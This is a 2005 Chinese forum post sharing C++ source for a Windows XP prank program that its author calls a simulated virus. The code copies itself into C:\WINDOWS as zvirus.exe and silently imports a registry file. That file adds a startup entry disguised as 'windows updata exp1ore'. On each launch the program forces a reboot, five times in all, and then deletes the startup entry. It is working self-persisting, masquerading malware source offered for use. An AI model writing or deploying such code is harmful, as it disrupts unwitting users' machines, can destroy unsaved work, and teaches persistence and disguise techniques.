//记得一个月前Magiclinux系统被我搞崩溃了.所以安装了个windows.无聊看了点点注册表写的程序~别笑话
/*****************************************
* Copyright (C) 2005 by magicoy *
*
gzqun@hotmail.com *
* The program just on windows XP *
*****************************************/
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <fstream>
#include <windows.h>
/*下面为修改程序图标头文件.如果不需要,可以删除
#include "resource.h"
*/
using namespace std;
const int justTimes = 5; //常量,修改为重启次数
class TsysCmd
{
public:
TsysCmd();
void ShutDown();
void CopyMe(char**);
void RegeditOut();
void ChangeRegedit();
private:
int numbers;
char sURL[200];
};
TsysCmd::TsysCmd()
{
strcpy(sURL, "copy \"");
}
void TsysCmd::ShutDown()
{
system("shutdown /r");
return;
}
void TsysCmd::CopyMe(char* argv[])
{
strcat(sURL,argv[0]);
strcat(sURL,"\"");
strcat(sURL," \"c:\\WINDOWS\\zvirus.exe\"");
system(sURL);
return;
}
void TsysCmd::RegeditOut()
{
fstream outRegedit;
outRegedit.open("c:\\WINDOWS\\zshutdown.reg",ios::out);
if (!outRegedit)
{
cout << "The C-Disk can't write!" << endl;
abort();
}
outRegedit << "Windows Registry Editor Version 5.00" << endl;
outRegedit << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]" <<endl;
outRegedit << "\"windows updata exp1ore\"=\"C:\\\\WINDOWS\\\\zvirus.exe\"";
outRegedit.close();
system("regedit/s C:\\WINDOWS\\zshutdown.reg");
system("del C:\\WINDOWS\\zshutdown.reg");
return;
}
void TsysCmd::ChangeRegedit()
{
HKEY hKey1;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey1);
RegDeleteValue(hKey1,"windows updata exp1ore");
system("del c:\\WINDOWS\\ztimes.txt");
}
int main(int argc, char *argv[])
{
/* 修改本程序图标API函数.如果不改,可以删除
HICON hIcon=LoadIcon(NULL,MAKEINTRESOURCE(IDI_ICON1));
*/
TsysCmd _p1;
int number_write = 0;
fstream inNumber;
inNumber.open("c:\\WINDOWS\\ztimes.txt",ios::in);
if (!inNumber)
{
fstream outNumber;
outNumber.open("c:\\WINDOWS\\ztimes.txt",ios::out);
if (!outNumber)
{
cout << "The C-Disk can't write!" << endl;
abort();
}
outNumber << number_write;
outNumber.close();
_p1.CopyMe(argv);
_p1.RegeditOut();
}
inNumber >> number_write;
inNumber.close();
number_write += 1;
fstream last_outNumber;
last_outNumber.open("c:\\WINDOWS\\ztimes.txt",ios::out);
if (!last_outNumber)
{
cout << "The C-Disk can't write!" << endl;
abort();
}
last_outNumber << number_write;
last_outNumber.close();
if (justTimes >= number_write)
{
for (int i = 0; i < 8; i++)
{
cout << "对不起,您不小心点了本程序,模拟病毒程序,您将自动重启机算机" << justTimes << "次!" << endl;
}
for (int j = 0; j < 10; j++)
{
cout << "提醒您,这是您第" << number_write << "次重启!" <<endl;
}
cout << "只是恶作剧程序,请勿伤害他人!";
_p1.ShutDown();
}
else
{
_p1.ChangeRegedit();
for (int k = 0; k < 20; k++)
{
cout << "恭喜您,您的" << justTimes << "次重启成功,请电脑上的模拟病毒重启程序已经自动删除!请勿骂作者" << endl;
}
}
system("pause");
return 0;
}
[ 此贴被XChinux在2005-08-28 09:07重新编辑 ]